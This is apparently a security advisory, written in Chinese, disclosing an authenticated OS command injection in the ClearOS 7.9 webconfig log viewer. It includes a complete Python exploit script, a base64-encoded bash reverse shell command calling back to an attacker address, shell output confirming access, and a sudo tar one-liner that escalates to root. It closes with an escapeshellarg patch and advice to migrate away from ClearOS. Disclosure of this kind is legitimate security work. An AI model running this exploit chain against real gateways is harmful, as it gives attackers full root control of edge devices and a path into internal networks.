
Authenticated Blind OS Command Injection in ClearOS
包: ClearFoundation
测试版本: ClearOS 7.9.1.342252
漏洞类型: 操作系统命令注入(CWE-78)
严重性: 高
CVE: CVE-2026-67599
CVSS v3.1 向量: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H(评分:7.2)
感谢 VulnCheck 代表我帮助分配和跟踪此 CVE-2026-67599。
ClearOS 是一个基于 CentOS/RHEL 构建的操作系统,旨在为中小型组织充当网络网关、统一威胁管理(UTM)平台和边缘服务器。它主要作为边缘设备运行,管理防火墙规则、VPN 连接、路由和核心网络基础设施。
由于 ClearOS 部署在网络边界,诸如 Webconfig(端口 81)之类的管理接口经常暴露给管理网段,或直接暴露给外部网络。该接口中的命令执行漏洞使攻击者能够破坏网关,在边缘设备上获得持久化立足点,并直接横向渗透到内部网段。
/usr/clearos/apps/base/libraries/File.php — 第 297、314 行
提交给日志查看器端点的 filter 参数未经过滤,直接被传入 File.php 中构造的 shell 命令。$regex 值被直接插入到命令字符串中,而不是作为正确转义的参数传递,从而允许 $(...) 或反引号表达式等命令替换载荷以 webconfig 用户的身份执行。
我在一次实际参与的任务中偶然发现了这个问题。下面是一个简单的利用产物生成器。
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
反向 Shell 示例(攻击者在 .1,目标在 .129):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
确认输出:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
通过默认且非常宽松的 sudoers 规则,可以轻松将权限提升至 root:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
在下面的示例中,使用 tar 二进制文件将权限提升至 root:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
拥有 Reports 访问权限的已认证 Web 界面用户,能够以 webconfig 用户身份执行完整的操作系统级命令。在默认的 ClearOS 7.9 安装中,webconfig 被授予了大量 NOPASSWD sudo 权限,从而无需额外凭据即可立即提升至 root。攻击者可以获得对底层主机的持久 root 访问权限,包括系统管理的所有数据、服务和网络配置。
ClearOS 已生命周期结束。clearos.com 上仍可下载的最新发行版(ClearOS-7.9.1.342252 版本)可追溯到 2021 年 10 月 13 日,且未获得任何上游维护或安全更新。
因此,下面的代码修复仅仅是一个临时补丁。在网络边界运行不受维护的操作系统无异于玩火。强烈建议的出路是完全迁移出 ClearOS,改用受支持的边缘设备或 UTM 平台。
如果您必须在规划迁移期间保持该主机存活,请在 /usr/clearos/apps/base/libraries/File.php 的第 297 和 314 行将 $regex 用 escapeshellarg() 包裹,从:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
改为:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
然后重启 webconfig 服务:
sudo systemctl restart webconfig